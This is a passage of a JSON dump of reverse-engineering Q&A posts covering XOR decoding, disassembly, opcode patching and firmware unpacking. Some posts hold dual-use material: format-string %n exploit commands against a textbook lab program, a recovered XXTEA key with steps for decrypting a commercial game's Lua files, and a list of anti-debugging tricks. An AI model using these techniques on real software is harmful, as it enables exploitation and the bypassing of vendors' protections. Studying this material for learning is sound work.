        "Answer": "<p>\nOK, the encoding goes as follows:</p>\n\n<ol>\n<li>Byte xor the input string with [0xbe,0xb2,0x9d,0xe1,0xef,0x83,0x98,0xb0,0x8c,0x38,0x2e,0x0a,0x48,0xb0,0x04,0x22,0x32,0x15,0x31,0xf6,0x14,0xcd,0x51]</li>\n<li>Encode it to base64</li>\n<li>Take first 30 bytes of base 64 encoded string and write it down, which will be a result.</li>\n</ol>\n\n<p>In fact the last byte of the key is not used as whole (only msb nibble used), you can insert anything from a range [0x50-0x5f] instead of 0x51.</p>\n\n<p>As you correctly stated, the output is truncated, so you can extract only the first 22 letters of the encoded string.</p>\n\n<p>The following python code decodes the provided outputs and checks the algorithm:</p>\n\n<pre><code>import base64\n# our inputs, input and output correspondingly\npairs = [\n    (\"ABCDEFGHIJKLMNOPQRSTUV\",\"//DeparF3/jFcmVGBf5LcmNHYqJBmw\"),\n    (\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\",\"//DeparF3/jFcmVGBf5LcmNHYqJBmw\"),\n    (\"ABCDEFGHIJKLMNOPQRSTUV1\",\"//DeparF3/jFcmVGBf5LcmNHYqJBm2\"),\n    (\"ABCDEFGHIJKLMNOPQRSTUV123456\",\"//DeparF3/jFcmVGBf5LcmNHYqJBm2\"),\n    (\"1234567890123456789012\",\"j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w\"),\n    (\"12345678901234567890123\",\"j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2\"),\n    (\"123456789012345678901234\",\"j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2\"),\n    (\"1234567890123456789012a\",\"j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z\"),\n    (\"1234567890123456789012ab\",\"j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z\"),\n    (\"1234567890123456789012c\",\"j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z\"),\n    (\"1234567890123456789012F\",\"j4Cu1dq1r4i1CB84e4QxFAUtCMYl/x\"),\n    (\"1234567890123456789012V\",\"j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w\"),\n    (\"1A2B3C4D5E6F7G8H9I0J1K\",\"j/Ovo9zArPS5fRhMf/c8agtcAbwlhg\"),\n    (\"1A2B3C4D5E6F7G8H9I0J1K2\",\"j/Ovo9zArPS5fRhMf/c8agtcAbwlhm\"),\n    (\"1A2B3C4D5E6F7G8H9I0J1K3\",\"j/Ovo9zArPS5fRhMf/c8agtcAbwlhm\"),\n    (\"1A2B3C4D5E6F7G8H9I0J1KL\",\"j/Ovo9zArPS5fRhMf/c8agtcAbwlhh\"),\n    (\"1A2B3C4D5E6F7G8H9I0J1KM\",\"j/Ovo9zArPS5fRhMf/c8agtcAbwlhh\"),\n    (\"A1B2C3D4E5F6G7H8I9J0KL\",\"/4Pf06yw3ITJDWg8D4dMGnsse8ZfgQ\"),\n    (\"A1B2C3D4E5F6G7H8I9J0KLM\",\"/4Pf06yw3ITJDWg8D4dMGnsse8ZfgR\"),\n    (\"A1B2C3D4E5F6G7H8I9J0KL7\",\"/4Pf06yw3ITJDWg8D4dMGnsse8ZfgW\"),\n    (\"abcABC123/+321++1GWZVV\",\"39D+oK3AqYK/FwU5eoEvCQNSZqxCmw\"),\n    (\"abcABC123/+321++1GWZVV1\",\"39D+oK3AqYK/FwU5eoEvCQNSZqxCm2\"),\n    (\"lkjsd2093jljsdLJSDl12A\",\"0tn3kouxqIm/UkJgO9RIaGFRXccmjA\"),\n    (\"lkjsd2093jljsdLJSDl123\",\"0tn3kouxqIm/UkJgO9RIaGFRXccm/g\"),\n    (\"lkjsd2093jljsdLJSDl1234\",\"0tn3kouxqIm/UkJgO9RIaGFRXccm/m\"),\n    (\"aaaaaaaaaaaaaaaaaaaaaa\",\"39P8gI7i+dHtWU9rKdFlQ1N0UJd1rA\"),\n    (\"aaaaaaaaaaaaaaaaaaaaaaa\",\"39P8gI7i+dHtWU9rKdFlQ1N0UJd1rD\"),\n    (\"aaaaaaaaaaaaaaaaaaaaaa1\",\"39P8gI7i+dHtWU9rKdFlQ1N0UJd1rG\"),\n    (\"aaaaaaaaaaaaaaaaaaaaaaF\",\"39P8gI7i+dHtWU9rKdFlQ1N0UJd1rB\"),\n    (\"1111111111111111111111\",\"j4Os0N6yqYG9CR87eYE1EwMkAMcl/A\"),\n    (\"11111111111111111111111\",\"j4Os0N6yqYG9CR87eYE1EwMkAMcl/G\"),\n    (\"a\",\"3w==\"),\n    (\"c\",\"3Q==\"),\n    (\"ab\",\"39A=\"),\n    (\"abc\",\"39D+\"),\n    (\"abcd\",\"39D+hQ==\"),\n    (\"abcde\",\"39D+hYo=\"),\n    (\"abcdef\",\"39D+hYrl\"),\n    (\"abcdefg\",\"39D+hYrl/w==\"),\n    (\"abcdefgh\",\"39D+hYrl/9g=\"),\n    (\"123\",\"j4Cu\"),\n    (\"1234\",\"j4Cu1Q==\"),\n    (\"12345\",\"j4Cu1do=\"),\n    (\"123456\",\"j4Cu1dq1\"),\n]\n# the xoring \"key\"\nkey = [0xbe,0xb2,0x9d,0xe1,0xef,0x83,0x98,0xb0,0x8c,0x38,0x2e,0x0a,0x48,0xb0,0x04,0x22,0x32,0x15,0x31,0xf6,0x14,0xcd,0x51]\n\ndef do_xor(a, b):\n    res = \"\"\n    for i in range(len(a)):\n        res += chr(ord(a[i]) ^ b[i % len(b)])\n    return res\n\nfor (inp, output) in pairs:\n    #adding universal padding for a case of bad length\n    try:\n        decoded = base64.b64decode(output)\n    except:\n        decoded = base64.b64decode(output + \"===\")\n\n    xored = do_xor(decoded, key)\n    encoded = base64.b64encode(do_xor(inp, key))[:30]\n    print \"Input    --&gt; \", inp\n    print \"Output   --&gt; \", output\n    print \"Encoded  --&gt; \", encoded\n    print \"restored --&gt; \", xored\n    if xored == inp:\n        print \"result: exact match\"\n    elif inp.find(xored) != -1:\n        print \"result: truncated, but still good\"\n    else:\n        print \"result: FAILURE\"\n    if encoded==output:\n        print \"encode: result OK\"\n    else:\n        print \"encode: FAILURE\"\n</code></pre>\n"
    },
    {
        "Id": "21707",
        "CreationDate": "2019-07-18T15:14:14.793",
        "Body": "<p>I would like to know if there is any way to modify the algorithm used in IDA pro. I have a binary where I suspect that junk isn't junk, and I would like to see what output would a linear disassembly do, but I could not find any option in IDA Pro to change that. Does it even exist? Thanks !</p>\n",
        "Title": "Change IDA pro dissassembly to linear sweep",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>IDA doesn't have a built-in linear sweep mode. You do have a couple of options though. In kernel options 2, you can uncheck coagulate code/data segments before doing the initial analysis, this will prevent IDA from converting unknown bytes into data. You could also try undefining everything, selecting everything, and then hitting C to convert it to code.</p>\n"
    },
    {
        "Id": "21733",
        "CreationDate": "2019-07-21T22:05:43.047",
        "Body": "<p>I'm trying to change an instruction in assembly. Try with <code>test eax, eax</code> to <code>test eax, 1</code>. I try modify the opcodes. \nFor example opcode of <code>test eax, eax</code>: <code>85c0</code>\n<a href=\"https://i.stack.imgur.com/lTkRF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lTkRF.png\" alt=\"enter image description here\"></a></p>\n\n<p>Try to understand why is 85c0 with this table:\n<a href=\"https://i.stack.imgur.com/CbEmW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CbEmW.png\" alt=\"enter image description here\"></a></p>\n\n<p><code>85</code> comes from 'test', ok. But <code>c0</code> from <code>EB lb</code>? I'm a little confused how to create that opcode and how to modify and get <code>test eax, 1</code>.</p>\n\n<p>Thanks, appreciate any help!</p>\n",
        "Title": "Change instruction test eax, eax to text eax, 1",
        "Tags": "|disassembly|assembly|radare2|patch-reversing|",
        "Answer": "<p>The opcode you are interested in is <code>a9 01 00 00 00</code> standing for <code>test eax, 1</code>.</p>\n\n<p>The easiest way to get the opcode of assembly instruction is just to <strong>compile</strong>  it and <strong>disassemble</strong> the result (for example using <a href=\"https://www.nasm.us/\" rel=\"noreferrer\">nasm</a> and then <a href=\"https://linux.die.net/man/1/objdump\" rel=\"noreferrer\">objdump</a> or simply <a href=\"https://defuse.ca/online-x86-assembler.htm\" rel=\"noreferrer\">this site</a>) - this way you don't have to remember anything about the opcodes which are sometimes weird.</p>\n\n<p>However, you want to patch 2 bytes instruction and the opcode I gave is 5 bytes. As a workaround, you can do <code>test al, 1</code> (<code>a8 01</code>), which will do the same (will do <code>test</code> only on the least significant byte of <code>eax</code>).</p>\n"
    },
    {
        "Id": "21737",
        "CreationDate": "2019-07-22T12:32:04.963",
        "Body": "<p>I'm attempting to patch an old 16-bit windows 3 new executable binary which is in protected mode. It's a simple setup executable. Additionally, I'm doing this disassembly on linux and I've used <a href=\"https://github.com/zfigura/semblance\" rel=\"nofollow noreferrer\">Semblance</a> to disassemble the binary, and am confronted with the following code:</p>\n\n<pre><code>1:0f91 &lt;no name&gt;:\n  1:0f91:       33 ed                   xor     bp, bp\n  1:0f93:       55                      push    bp\n  1:0f94:       9a ff ff 00 00          call    KERNEL.91\n  1:0f99:       0b c0                   or      ax, ax\n  1:0f9b:       74 5b                   jz      0ff8\n  1:0f9d:       8c 06 fe 02             mov     [02FEh], es\n  1:0fa1:       81 c1 00 01             add     cx, 0100h\n  1:0fa5:       72 51                   jb      0ff8\n  1:0fa7:       89 0e d0 02             mov     [02D0h], cx\n  1:0fab:       89 36 d2 02             mov     [02D2h], si\n  1:0faf:       89 3e d4 02             mov     [02D4h], di\n  1:0fb3:       89 1e d6 02             mov     [02D6h], bx\n  1:0fb7:       8c 06 d8 02             mov     [02D8h], es\n  1:0fbb:       89 16 da 02             mov     [02DAh], dx\n  1:0fbf:       e8 3c 00                call    0ffe\n  1:0fc2:       e8 f9 01                call    11be\n  1:0fc5:       e8 84 03                call    134c\n  1:0fc8:       33 c0                   xor     ax, ax\n  1:0fca:       50                      push    ax\n  1:0fcb:       9a ff ff 00 00          call    KERNEL.30\n  1:0fd0:       ff 36 d4 02             push    word [02D4h]\n  1:0fd4:       9a ff ff 00 00          call    USER.5\n  1:0fd9:       0b c0                   or      ax, ax\n  1:0fdb:       74 1b                   jz      0ff8\n</code></pre>\n\n<p>There are several call instructions and I've verified that the non-far call addresses are all there in the file. If you notice however, there are 3 far-calls here, but all have the same ptr16:16 argument! I'll reproduce them here:</p>\n\n<pre><code>  1:0f94:       9a ff ff 00 00          call    KERNEL.91\n  1:0fcb:       9a ff ff 00 00          call    KERNEL.30\n  1:0fd4:       9a ff ff 00 00          call    USER.5\n</code></pre>\n\n<p>9a is the opcode for a far call, but they all have the same argument! Yet, Semblance has determined not only which system modules its calling into, but possibly which function, but I haven't figured out the significance of the number yet. I should point out, that KERNEL and USER are both modules present in the exe's module reference table. All far calls in the binary have been linked to one of those modules in the reference table.</p>\n\n<p>So, How is semblance doing this? All the calls seem identical. I'd just like to figure out what functions are being called, and I can begin to figure out how to patch around the error I'm facing.</p>\n\n<p>If this is something that's impossible to do from linux, fine, but I'd like to try it this way first. I'm a beginner with assembly and reverse engineering so I'm viewing this as a learning opportunity so learning the sorts of details necessary to resolve these far calls might be useful.</p>\n",
        "Title": "How to determine target of far call in Windows 3 16-bit protected mode binary",
        "Tags": "|assembly|",
        "Answer": "<p>Since the external modules may be loaded at an address not known until runtime, a specific address can't be used, so the information about external calls is not encoded in the instruction themselves (the bytes used are just placeholders)  but in the separate section of the New Executable (NE) called  <em>Module-reference table</em> combined with the <em>relocation fixup data</em> which is part of the <em>Per-segment data</em>. For more info see <a href=\"http://benoit.papillault.free.fr/c/disc2/exefmt.txt\" rel=\"nofollow noreferrer\">the reference</a> and/or look up how Semblance resolves this information.</p>\n\n<p>BTW, the number after the module name is the <em>ordinal</em> of the function used from that module; the ordinals for Win16 were fixed and you can look up which ordinal maps to which function for example in WINE: <a href=\"https://source.winehq.org/source/dlls/user.exe16/user.exe16.spec\" rel=\"nofollow noreferrer\">USER</a>, <a href=\"https://source.winehq.org/source/dlls/krnl386.exe16/krnl386.exe16.spec\" rel=\"nofollow noreferrer\">KERNEL</a>. </p>\n"
    },
    {
        "Id": "21743",
        "CreationDate": "2019-07-22T22:27:55.167",
        "Body": "<p>I'm having some trouble building an app that gets data from a database to keep a log of files added to a website.</p>\n\n<p>Most URLs are generated from a file ID and a time stamp, some of those URLs are missing in the database but they're quite easy to regenerate. There's another type of generated URL that includes a string that I can't figure out. I'd like to know if it is possible to generate them too.</p>\n\n<p>These URLs look quite like this:</p>\n\n<pre><code>http://www.mysite.com/files/a9780ed25285890789147440840/file.ext\nhttp://www.mysite.com/files/a9789f9b5285890789147441956/file.ext\nhttp://www.mysite.com/files/8b9b5d1f5285890789167885136/file.ext\nhttp://www.mysite.com/files/a97906135285890789147442083/file.ext\nhttp://www.mysite.com/files/a9790e735285890789147442272/file.ext\nhttp://www.mysite.com/files/a9791a905285890789147442521/file.ext\nhttp://www.mysite.com/files/8b9bedfd5285890789167886250/file.ext\nhttp://www.mysite.com/files/a97aaf595285890789147445176/file.ext\nhttp://www.mysite.com/files/a97ab7fc5285890789147445386/file.ext\nhttp://www.mysite.com/files/8b9d17895285890789167888638/file.ext\nhttp://www.mysite.com/files/a97ac03a5285890789147445564/file.ext\nhttp://www.mysite.com/files/a97acd635285890789147445897/file.ext\n</code></pre>\n\n<p>As you can see, it looks like hexadecimal for the first 8 characters, the middle section looks very similar, but I can't recognize a pattern here. I would like to point out that the dates are stored as epoch numerals, though the easy links have readable dates. </p>\n\n<p>I'd appreciate any kind of information that could help me start figuring out this pattern.</p>\n\n<p>Thanks!</p>\n",
        "Title": "Need help identifying a -possibly- encrypted string",
        "Tags": "|encryption|deobfuscation|hexadecimal|",
        "Answer": "<p>Since this would not fit into a simple comment, I am posting this as community Wiki. The script, after all, may be helpful to others.</p>\n\n<p>What I would try in such a case is to see if parts of the string can be interpreted as timestamps, for example.</p>\n\n\n\n<pre><code>#!/usr/bin/env python3\n\"\"\"\\\nLittle script to interpret integers given on the command line as\nUnix time (unless that causes an error) and Windows FILETIME.\n\nIt outputs the human-readable date and time retrieved from either\ninterpretation.\n\"\"\"\nimport sys\nfrom contextlib import suppress\nfrom datetime import datetime, timedelta, timezone\n\nif __name__ == \"__main__\":\n    START = datetime(1601, 1, 1, tzinfo=timezone.utc)\n    print(\"FILETIME base time:\", START)\n    for ftval in sys.argv[1:]:\n        with suppress(ValueError):\n            ft = int(ftval)\n            print(\"You gave:\", ft)\n            with suppress(OverflowError, ValueError, OSError):\n                dt = datetime.utcfromtimestamp(ft)\n                print(\"\\t... interpreted as Unix time:\", dt)\n            # Windows FILETIME uses 100 ns intervals as base unit.\n            # 100 ns == 0.1 \u00b5s\n            microsecs = ft / 10\n            with suppress(OverflowError):\n                delta = timedelta(microseconds=microsecs)\n                dt = START + delta\n                print(\"\\t... interpreted as Windows FILETIME:\", dt)\n</code></pre>\n\n<p>... unfortunately, having tried that with <code>./winft.py 5285890789147445564</code> (I named the script <code>winft.py</code>), I can tell you that it's likely not timestamps. Even using parts that <em>look like</em> Unix timestamps, the output hardly makes sense:</p>\n\n<pre><code>$ ./winft.py 147445564\nFILETIME base time: 1601-01-01 00:00:00+00:00\nYou gave: 147445564\n        ... interpreted as Unix time: 1974-09-03 13:06:04\n        ... interpreted as Windows FILETIME: 1601-01-01 00:00:14.744556+00:00\n</code></pre>\n\n<p>... putting that 9 back in front of the apparent Unix time doesn't make it better:</p>\n\n<pre><code>$ ./winft.py 9147445564\nFILETIME base time: 1601-01-01 00:00:00+00:00\nYou gave: 9147445564\n        ... interpreted as Unix time: 2259-11-15 05:06:04\n        ... interpreted as Windows FILETIME: 1601-01-01 00:15:14.744556+00:00\n</code></pre>\n\n<p>On the other hand the decimal part after the 8 hex digits could be a bunch of (not so random) bytes that are being interpreted as integer and so could be decoded back into an integer (in either Endianess). Python for example deals with huge integer values effortlessly.</p>\n\n<p>However, last but not least I would like to remark that proper <em>encryption</em> is pretty unlikely, given how similar the part behind the 8 hex digits looks. You would get <em>much more random</em> values if this was properly encrypted.</p>\n\n<p>The 8 hex digits could be a truncated hash digest (MD5, SHA1 ...) or something else entirely. Would make much more sense to look at available meta-data such as the HTTP headers, at the file contents ... try to compute the digests on the file using various algorithms and then try to see if one of 8 hex digit strings matches the digests in hexadecimal representation ...</p>\n"
    },
    {
        "Id": "21745",
        "CreationDate": "2019-07-22T23:37:52.467",
        "Body": "<p>I was wondering what are some advanced AntiDebugging techniques that more advanced than the basic ones like <strong>IsDebuggerPresent</strong> and <strong>CheckRemoteDebuggerPresent</strong>?</p>\n",
        "Title": "Advanced Anti-Debugging Techniques",
        "Tags": "|debuggers|anti-debugging|",
        "Answer": "<p>Similar to those 2 APIs, there are similar ways to check about the presence of debugger. For instance:</p>\n<ul>\n<li>Checking CPU Ticking</li>\n<li>Time it takes to complete a preknown action</li>\n<li>switching from 64 to 32 and vice versa if supported (WOW)</li>\n<li>Loaded libraries(similar to ASLR bypassing) that might indicate the presence of a debugger or some sort of VM</li>\n<li>Specific attacks to confuse the way a specific debugger or reversing tool interprets the data (For instance by abusing difference between sweeps, in IDA for instance linear Others)</li>\n<li>Writing a custom ASM that follows the program logic(meaning won't break the program), but will make the reversing tool give you incorrect information</li>\n</ul>\n<p>Those are just glimpses of the almost infinite ways to trick the debugger. However, a good reverser will overcome all of this eventually, but sometimes the goal is not make it cost efficient or confuse the reverser so he won't decide to spend time on it by making him think the purpose is other or that the functionality is lacking and something is broken. There are a lot of reasons and a lot of ways to overcome them, and vice-versa.</p>\n<p>Hope I could help a bit.</p>\n"
    },
    {
        "Id": "21751",
        "CreationDate": "2019-07-23T20:56:35.463",
        "Body": "<p>There's a button which, when clicked, writes some data to the clipboard. \nI'm trying to call the function this button executes using DLL Injection.\nI managed to find the function in win32u.dll which accesses the clipboard, and I was able to set a breakpoint there which gets triggered. Obviously, I don't want to call this function directly, but the function that calls it (from the origin program). How do I figure this address out?</p>\n\n<p>I can't use the buttons handle since the button doesn't show up in any UI spy tools and as it is a part of a context menu, it disappears as soon as the focus is lost.</p>\n\n<p>I'm using x64dbg as a debugger, but if you know a solution in OllyDbg, that will be fine since I know how to use both.</p>\n",
        "Title": "Finding out what calls win32u.dll functions",
        "Tags": "|windows|ollydbg|x64dbg|",
        "Answer": "<h1>OllyDbg</h1>\n<p>You can do it at least in two different ways. The first involves <em>Call stack view</em> (<code>View</code>-&gt;<code>Call stack</code>) that you can use when the breakpoint you set in that function from <code>win32u.dll</code> is triggered. The first one coming from your application's module will be the desired one.</p>\n<p>Second approach is more static and takes advantage of <em>Intermodular calls</em>. Go to your application's module, right click -&gt; &quot;Search for&quot; -&gt; &quot;All intermodular calls&quot;. You will get all external functions that your program calls and the places where they are called from. So, just search for that API function and you will get all places that it is called from in that module.</p>\n<p>You can see <a href=\"https://reverseengineering.stackexchange.com/questions/21360/call-stack-vs-intermodular-calls-in-ollydbg/21378#21378\">answer</a> for more details.</p>\n"
    },
    {
        "Id": "21752",
        "CreationDate": "2019-07-23T22:54:14.863",
        "Body": "<p>I'm trying to write a script that would help display the memory contents of the arguments passed within a function. For example, in the function below, the first argument starts at the EAX register. Printing the contents of EAX gives us the value of the first argument. How can we print all the following arguments?</p>\n<blockquote>\n<p>BOOLAPI FtpCommandA(</p>\n<p>HINTERNET hConnect,</p>\n<p>BOOL      fExpectResponse,</p>\n<p>DWORD     dwFlags,</p>\n<p>LPCSTR    lpszCommand,</p>\n<p>DWORD_PTR dwContext,</p>\n<p>HINTERNET *phFtpCommand</p>\n<p>);</p>\n</blockquote>\n<p>Thanks!</p>\n",
        "Title": "Predicting Memory locations of arguments within a function",
        "Tags": "|debugging|windbg|",
        "Answer": "<p>Another way this could be achieved is by using the Stacktrace function and then printing the arguments' locations - something like this:</p>\n\n<pre><code>dprintf( \"%08p %08p %08p %08p %08p %s\",\n             stk[i].FramePointer,\n             stk[i].ReturnAddress,\n             stk[i].Args[0],\n             stk[i].Args[1],\n             stk[i].Args[2],\n             Buffer\n             );\n</code></pre>\n"
    },
    {
        "Id": "21759",
        "CreationDate": "2019-07-24T14:44:00.620",
        "Body": "<p>I am trying to decrypt a lua file which has been encrypting using a key. Some background to the LUA file. Its from an android Game i decompiled the APK and found that all the lua files are encrypted.</p>\n\n<p>The Game is made in an engine called Coco2D which allows developers to encrypt their files using a key. After doing some research i found that you can use IDA to look into the Binaries of the SO File and Find the encryption key in a function called ApplicationDidFinishLaunching. I tried that but i'm not really sure what im looking for in that function.</p>\n\n<p>IDA Text from ApplicationDidFinish Function: <a href=\"https://pastebin.com/9h69PADF\" rel=\"nofollow noreferrer\">https://pastebin.com/9h69PADF</a></p>\n\n<p>Near the top of the function you can see these set of variables</p>\n\n<pre><code>.text:00404100 var_90          = -0x90    \n.text:00404100 var_84          = -0x84\n.text:00404100 var_80          = -0x80\n.text:00404100 var_7C          = -0x7C\n.text:00404100 var_74          = -0x74\n.text:00404100 var_70          = -0x70\n.text:00404100 var_6C          = -0x6C\n.text:00404100 var_68          = -0x68\n.text:00404100 var_64          = -0x64\n.text:00404100 var_60          = -0x60\n.text:00404100 var_5C          = -0x5C\n.text:00404100 var_3C          = -0x3C\n</code></pre>\n\n<p>Im not sure what the above variables represent but i dont think they represent the key since the key is meant to be 128bit string encoded as Hex.</p>\n\n<p>Example of Encryption key: <a href=\"https://static.packt-cdn.com/products/9781783284757/graphics/B0561_11_01.jpg\" rel=\"nofollow noreferrer\">https://static.packt-cdn.com/products/9781783284757/graphics/B0561_11_01.jpg</a></p>\n\n<p>After More Digging i found this section in the function\n<a href=\"https://pastebin.com/N44prr2N\" rel=\"nofollow noreferrer\">https://pastebin.com/N44prr2N</a></p>\n\n<p>This section includes 32 hex Digits with a break of DCB 5 and DCB 4 within. I think that this is most likely the key but im unsure on how i would assemble what i have in the pastebin to a 128Bit key. I also don't know what DCB is (goin g to do research on it in a sec) and i don't know why there are breaks of 5 and 4 within the section.</p>\n\n<p>I went online and found a Hex to Ascii Converter and found that the hex digits do convert to Ascii. 7C converts to | and 78 converts to X just like the comments suggest but the problem i have now is that hex values such as 0xC dont convert to an Ascii value.</p>\n\n<p>Link To the APK: <a href=\"https://apkpure.com/taptap-heroes/com.westbund.heros.en\" rel=\"nofollow noreferrer\">https://apkpure.com/taptap-heroes/com.westbund.heros.en</a>\nLink To Encrypted Lua File + SO: <a href=\"https://www.mediafire.com/file/5ypqt5tk0scjwb5/LuaEncrypted.rar/file\" rel=\"nofollow noreferrer\">https://www.mediafire.com/file/5ypqt5tk0scjwb5/LuaEncrypted.rar/file</a></p>\n\n<p>Edit: after looking at the pseudo for the function i found no sign of a XTEA key being used (i may be wrong). Although i did find that RSA endcoding was used for Lua files. I still don't know what or how to decode it if its using RSA.</p>\n\n<p>Link To RSA: <a href=\"https://pastebin.com/quNJNzYd\" rel=\"nofollow noreferrer\">https://pastebin.com/quNJNzYd</a></p>\n",
        "Title": "Decrypting Lua Files",
        "Tags": "|ida|c++|android|game-hacking|lua|",
        "Answer": "<p>xxtea encrypt with KEY: sxpDM2018</p>\n\n<p>result\n<a href=\"https://pastebin.com/H1piR93u\" rel=\"noreferrer\">FightLogic.lua</a></p>\n\n<p><strong>how find the KEY</strong></p>\n\n<ul>\n<li><code>IDA</code> look at <code>Function window</code></li>\n<li><p>press <code>CTRL+F</code> and type <code>xxtea_decrypt</code>. double click first item and scroll up to see <code>cocos2d::FileUtilsAndroid::getData</code>\n<a href=\"https://i.stack.imgur.com/U6IfO.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/U6IfO.png\" alt=\"result\"></a></p></li>\n<li><p>double click <code>cocos2d::FileUtilsAndroid::getData</code> and press <code>F5</code> to decompiler\n<a href=\"https://i.stack.imgur.com/IGm4G.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/IGm4G.png\" alt=\"result\"></a></p></li>\n<li><p>look at image <code>xxtea_decrypt</code>, you can see <code>v34</code> is KEY\nscroll up and see, this is encrypt key</p></li>\n</ul>\n\n\n\n<pre><code>byte *xxtea_decrypt(byte *data, long data_len, byte *key, long key_len, long *ret_length)\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/3QGiF.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/3QGiF.png\" alt=\"result\"></a></p>\n\n<ul>\n<li>I rewrite code in javascript and run it with Chrome DevTool</li>\n</ul>\n\n\n\n<pre><code>var v45 = [896, 914, 915, 827, 756, 630, 499, 369, 252]\nvar v18 = 666\nvar v34 = []\nfor (var v17=0;v17&lt;9;v17++) {\n v19 = v45[v17]\n v34.push((v19-v18)/2) //((((v19-v18)&gt;&gt;31) + (v19-v18)) &lt;&lt; 23) &gt;&gt; 24\n v18 = (v19 - v17) - 222\n}\n// result sxpDM2018\nconsole.log(String.fromCharCode.apply(null, v34))\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/Ofzbj.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Ofzbj.png\" alt=\"final\"></a></p>\n"
    },
    {
        "Id": "21761",
        "CreationDate": "2019-07-24T18:30:57.363",
        "Body": "<p><a href=\"https://i.stack.imgur.com/EIJAq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EIJAq.png\" alt=\"enter image description here\"></a></p>\n\n<p>Hi!\nSo, the program print me a <code>Flag length is 32</code>. As I understand <code>call strlen</code> convert my flag to string of length. So, I want to remove that part <code>call strlen</code> or somehow avoid it (maybe I'm not right at all, because I really bad in assembly and RE, it's my first CTF and what are your options)</p>\n",
        "Title": "How to remove line? [Help with CTF]",
        "Tags": "|ida|assembly|",
        "Answer": "<p>I changed <code>call strlen</code> to <code>call printf</code> and got my flag. I am so happy and proud of myself. </p>\n"
    },
    {
        "Id": "21765",
        "CreationDate": "2019-07-25T07:50:14.973",
        "Body": "<p>I am studying from \"Hacking: The Art of Exploitation\" and in program <a href=\"https://github.com/intere/hacking/blob/master/booksrc/fmt_vuln.c\" rel=\"nofollow noreferrer\">fmt_vuln.c</a> format string is exploited. I am getting <code>Segmentation Fault</code> error.</p>\n\n<p>Checking position of <code>AAAA</code> on stack:</p>\n\n<pre><code>$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x\nThe right way to print user-controlled input:\nAAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x\nThe wrong way to print user-controlled input:\nAAAA55756260.f7dd18c0.f7af4154.00000000.f7b523a0.ffffdfe8.ffffdb30.41414141\n[*] test_val @ 0x555555755010 = -72 0xffffffb8\n</code></pre>\n\n<p>Witing to <code>test_value</code> address</p>\n\n<pre><code>$ ./fmt_vuln $(printf \"\\x10\\x50\\x75\\x55\")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n\nThe right way to print user-controlled input:\nPuU%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n\nThe wrong way to print user-controlled input:\nSegmentation fault (core dumped)\n</code></pre>\n\n<p>As suggested in <a href=\"https://stackoverflow.com/a/27214598/6810253\">this answer</a> I have disabled ASLR and compiled without stack protection.</p>\n",
        "Title": "Unable to exploit format string vulenrability on Ubuntu 18.04.2 LTS",
        "Tags": "|linux|c|exploit|",
        "Answer": "<p>As @Chris Stratton already said, you don't give the right pointer value - you want to put <code>\\x10\\x50\\x75\\x55\\x55\\x55\\x00\\x00</code> as that value. Your segfault comes from instruction:</p>\n\n<pre><code>mov dword [rax], r13d\n</code></pre>\n\n<p>where <code>rax</code> = <code>0x7838302555755010</code>, which confirms that you need to put these <code>4</code> extra bytes (to overwrite <code>78383025</code> part). I do not know however how you can pass <code>NULL</code> bytes in bash as an argument.</p>\n\n<p>As a workaround, you can compile this program for <code>32</code>bit architecture using <code>-m32</code> option in GCC. Then use:</p>\n\n<pre><code>./fmt_vuln AAAA%08x.%08x.%08x.%08x\n</code></pre>\n\n<p>to get:</p>\n\n<pre><code>[*] test_val @ 0x56557008 = -72 0xffffffb8\n</code></pre>\n\n<p>and then:</p>\n\n<pre><code>./fmt_vuln $(printf \"\\x08\\x70\\x55\\x56\")%08x.%08x.%08x.%n\n</code></pre>\n\n<p>and finally you get:</p>\n\n<pre><code>[*] test_val @ 0x56557008 = 31 0x0000001f\n</code></pre>\n\n<p><strong>Note:</strong> when in doubt, just run your program in a debugger (I used <a href=\"https://rada.re/r/\" rel=\"nofollow noreferrer\">radare2</a> for instance) - this way you can get the instruction causing segfault and you can see register values at that moment.</p>\n"
    },
    {
        "Id": "21776",
        "CreationDate": "2019-07-26T21:27:40.030",
        "Body": "<p>Hello i'm trying to unpack file Download.img from alcatel mw40 (based on qualcomm 9x07) firmware but it seems i can't do it with 7zip or mount the img file . someone already extracted the file which will give partition images like this : </p>\n\n<pre><code>appsboot_fastboot.mbn\nappsboot.mbn\nb.vhd\nconfig.xml\ncustom_info.xml\nefs.mbn\nENPRG9x07.mbn\njrdresource.ubi\nmdm9607-boot.img\nmdm9607-sysfs.ubi\nNON-HLOS.ubi\nNPRG9x07.mbn\npartition.mbn\nrpm.mbn\nsbl1.mbn\ntz.mbn\n</code></pre>\n\n<p>under linux the format of the file is : </p>\n\n<pre><code>file Download.img \nDownload.img: dBase III DBT, version number 0, next free block index 65545, 1st item \"D\\343\\006\"\n</code></pre>\n\n<p>anyone can show how to unpack this file to get the list of mentioned files above\nthanks for help , i'm trying to learn how.\nfile link  <a href=\"http://www.mediafire.com/file/abggflriq8ukmge/Download.img\" rel=\"nofollow noreferrer\">Download.img</a></p>\n",
        "Title": "unpacking Download.img firmware for alcatel mw40",
        "Tags": "|firmware|unpacking|",
